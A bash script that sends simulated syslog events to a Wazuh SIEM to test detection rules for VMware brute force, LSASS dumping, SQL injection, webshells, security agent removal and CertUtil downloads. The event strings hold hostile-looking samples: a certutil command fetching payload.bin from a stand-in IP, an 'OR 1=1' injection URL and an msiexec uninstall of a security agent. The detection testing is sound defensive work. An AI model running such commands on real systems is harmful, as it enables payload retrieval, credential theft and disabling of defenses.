No Description

send-wazuh-proposal-appendix-b-events.sh 6.6KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231
  1. #!/usr/bin/env bash
  2. set -euo pipefail
  3. # Usage:
  4. # scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds]
  5. #
  6. # selector:
  7. # all | b1 | b2 | b3 | <usecase_id>
  8. # example usecase_id: B1-01, B2-01, B3-06
  9. SELECTOR="${1:-all}"
  10. COUNT="${2:-1}"
  11. DELAY="${3:-0.3}"
  12. EVENT_DELAY="${EVENT_DELAY:-0.05}"
  13. DRY_RUN="${DRY_RUN:-0}"
  14. FOREVER="false"
  15. PROFILE="${PROFILE:-simulation}"
  16. for arg in "${@:4}"; do
  17. case "${arg}" in
  18. --forever)
  19. FOREVER="true"
  20. ;;
  21. --profile=*)
  22. PROFILE="${arg#*=}"
  23. ;;
  24. *)
  25. echo "error: unexpected argument '${arg}'"
  26. echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
  27. exit 1
  28. ;;
  29. esac
  30. done
  31. WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
  32. WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
  33. VCENTER_HOST="${VCENTER_HOST:-vcenter-01}"
  34. ESXI_HOST="${ESXI_HOST:-esxi-01}"
  35. LOGMON_HOST="${LOGMON_HOST:-logmon-01}"
  36. WIN_SYSMON_HOST="${WIN_SYSMON_HOST:-win-sysmon-01}"
  37. SIM_USER="${SIM_USER:-jane.doe}"
  38. if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
  39. echo "error: count must be a positive integer"
  40. exit 1
  41. fi
  42. if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  43. echo "error: delay must be numeric"
  44. exit 1
  45. fi
  46. if ! [[ "${EVENT_DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
  47. echo "error: EVENT_DELAY must be numeric"
  48. exit 1
  49. fi
  50. if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
  51. echo "error: profile must be simulation or production"
  52. exit 1
  53. fi
  54. rand_public_ip() {
  55. if [[ $((RANDOM % 2)) -eq 0 ]]; then
  56. echo "198.51.100.$((RANDOM % 240 + 10))"
  57. else
  58. echo "203.0.113.$((RANDOM % 240 + 10))"
  59. fi
  60. }
  61. emit_syslog() {
  62. local msg="$1"
  63. local sent="false"
  64. if [[ "${DRY_RUN}" == "1" ]]; then
  65. echo "[DRY_RUN $(date -u +'%Y-%m-%dT%H:%M:%SZ')] ${msg}"
  66. return 0
  67. fi
  68. if command -v nc >/dev/null 2>&1; then
  69. if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
  70. sent="true"
  71. fi
  72. fi
  73. if [[ "${sent}" != "true" ]]; then
  74. if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
  75. sent="true"
  76. fi
  77. fi
  78. if [[ "${sent}" != "true" ]]; then
  79. echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
  80. return 1
  81. fi
  82. echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
  83. }
  84. selector_matches() {
  85. local id="$1"
  86. local section="$2"
  87. local sel
  88. sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
  89. local idl
  90. idl="$(echo "${id}" | tr '[:upper:]' '[:lower:]')"
  91. local sec
  92. sec="$(echo "${section}" | tr '[:upper:]' '[:lower:]')"
  93. [[ "${sel}" == "all" || "${sel}" == "${sec}" || "${sel}" == "${idl}" ]]
  94. }
  95. emit_b_usecase() {
  96. local id="$1"
  97. local section="$2"
  98. local severity="$3"
  99. local source="$4"
  100. local host="$5"
  101. local usecase="$6"
  102. local body="$7"
  103. selector_matches "${id}" "${section}" || return 0
  104. local tags
  105. if [[ "${PROFILE}" == "production" ]]; then
  106. tags="soc_mvp_test=true source=${source} severity=${severity}"
  107. else
  108. tags="soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
  109. fi
  110. emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} ${tags} ${body}"
  111. sleep "${EVENT_DELAY}"
  112. }
  113. emit_b1() {
  114. local sip
  115. sip="$(rand_public_ip)"
  116. emit_b_usecase "B1-01" "B1" "high" "vmware" "${VCENTER_HOST}" \
  117. "vCenter GUI Login Failed 5 Times and Success 1 Time" \
  118. "event_type=vmware_vcenter_login_fail_success login_fail_count=5 login_success_count=1 user=\"${SIM_USER}\" src_ip=${sip}"
  119. emit_b_usecase "B1-02" "B1" "medium" "vmware" "${ESXI_HOST}" \
  120. "ESXi Enable SSH on Hosts" \
  121. "event_type=vmware_esxi_enable_ssh action=enable service=ssh user=\"root\" host=\"${ESXI_HOST}\""
  122. emit_b_usecase "B1-03" "B1" "high" "vmware" "${ESXI_HOST}" \
  123. "ESXi SSH Failed 5 Times and Success 1 Time" \
  124. "event_type=vmware_esxi_ssh_fail_success ssh_fail_count=5 ssh_success_count=1 user=\"root\" src_ip=${sip}"
  125. }
  126. emit_b2() {
  127. emit_b_usecase "B2-01" "B2" "low" "log_monitor" "${LOGMON_HOST}" \
  128. "Log Monitor Logs Loss Detection" \
  129. "event_type=log_loss_detection missing_stream=firewall expected_eps=500 observed_eps=0 duration_seconds=180"
  130. }
  131. emit_b3() {
  132. emit_b_usecase "B3-01" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  133. "Sysmon LSASS Dumping" \
  134. "event_type=sysmon_lsass_dump event_id=10 process=procdump.exe target_process=lsass.exe user=\"${SIM_USER}\""
  135. emit_b_usecase "B3-02" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  136. "Sysmon SQL Injection" \
  137. "event_type=sysmon_sql_injection event_id=1 process=w3wp.exe url=\"/app/login.php?id=1%27%20OR%201=1--\""
  138. emit_b_usecase "B3-03" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  139. "Sysmon Webshell" \
  140. "event_type=sysmon_webshell event_id=11 file=\"C:\\\\inetpub\\\\wwwroot\\\\shell.aspx\" process=w3wp.exe"
  141. emit_b_usecase "B3-04" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  142. "Sysmon Uninstall" \
  143. "event_type=sysmon_security_agent_uninstall event_id=1 process=msiexec.exe cmdline=\"msiexec /x security-agent\" user=\"${SIM_USER}\""
  144. emit_b_usecase "B3-05" "B3" "high" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  145. "Sysmon LSASS Dumping by Task Manager" \
  146. "event_type=sysmon_lsass_dump_taskmgr event_id=10 process=taskmgr.exe target_process=lsass.exe action=create_dump"
  147. emit_b_usecase "B3-06" "B3" "medium" "windows_sysmon" "${WIN_SYSMON_HOST}" \
  148. "Sysmon CertUtil Download" \
  149. "event_type=sysmon_certutil_download event_id=1 process=certutil.exe cmdline=\"certutil -urlcache -split -f http://198.51.100.22/payload.bin payload.bin\""
  150. }
  151. emit_selected_set() {
  152. local sel
  153. sel="$(echo "${SELECTOR}" | tr '[:upper:]' '[:lower:]')"
  154. case "${sel}" in
  155. all)
  156. emit_b1
  157. emit_b2
  158. emit_b3
  159. ;;
  160. b1|b1-*)
  161. emit_b1
  162. ;;
  163. b2|b2-*)
  164. emit_b2
  165. ;;
  166. b3|b3-*)
  167. emit_b3
  168. ;;
  169. *)
  170. emit_b1
  171. emit_b2
  172. emit_b3
  173. ;;
  174. esac
  175. }
  176. echo "starting proposal Appendix B log simulator"
  177. echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
  178. echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
  179. if [[ "${FOREVER}" == "true" ]]; then
  180. echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
  181. trap 'echo; echo "stopped"; exit 0' INT TERM
  182. while true; do
  183. emit_selected_set
  184. sleep "${DELAY}"
  185. done
  186. else
  187. for ((i=1; i<=COUNT; i++)); do
  188. emit_selected_set
  189. if [[ "${i}" -lt "${COUNT}" ]]; then
  190. sleep "${DELAY}"
  191. fi
  192. done
  193. echo "done"
  194. fi